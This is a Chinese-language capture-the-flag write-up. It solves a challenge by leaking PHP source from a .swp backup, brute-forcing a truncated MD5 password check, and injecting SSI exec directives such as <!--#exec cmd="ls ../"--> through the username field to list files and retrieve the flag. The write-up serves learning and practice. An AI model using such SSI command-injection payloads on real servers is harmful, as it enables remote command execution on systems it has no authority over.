#目录扫描 #SSI注入
前置知识
[[SSI注入]] 怎么知道哪里会产生ssi 这里我单开文章
做题
扫目录 得index.php.swp文件
去访问 得到
看到".shtml" ssi注入 注入点也提示了
Hello,‘.$_POST[‘username’].’
查看页面源码
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
?>
解决MD5截断
我们看这两句
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6))
显然是MD5截断比较
找到匹配的数字: 656937371
找到匹配的数字: 813355791
我们post传 password=656937371
解决ssi文件问题
在这个题中,要做到ssi服务端包含,我们就要去到我们创建的 .shtml页面从而让服务端解析这个页面,执行ssi指令
下面是详细操作:
我们post传username
跟据
<!--#exec cmd="command" -->
我们构造username=<!--#exec cmd="ls" -->
看到响应中有url public/f9ec8358858395b9d598ad30b0d6b2b672ba6b60.shtml
我们去访问
得到
注意 这里我们可以回想一下前面的代码
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
它会每次进行我们post传参时随机创建新的文件名
$file_shtml = "public/".get_hash().".shtml";
所以每次我们进行命令执行时都要像刚才那样在响应中找到新的url (即上面所说的 我们需要服务端解析的文件->以达到执行我们ssi指令的目的)
因为没有在这发现flag
我们改一下命令 去看看上一级
username=<!--#exec cmd="ls ../"-->&password=656937371
去访问 flag_990c66bf85a09c664f0b6741840499b2
得到flag
flag{7ae95aea-c092-4445-b50e-8a2965bfe955}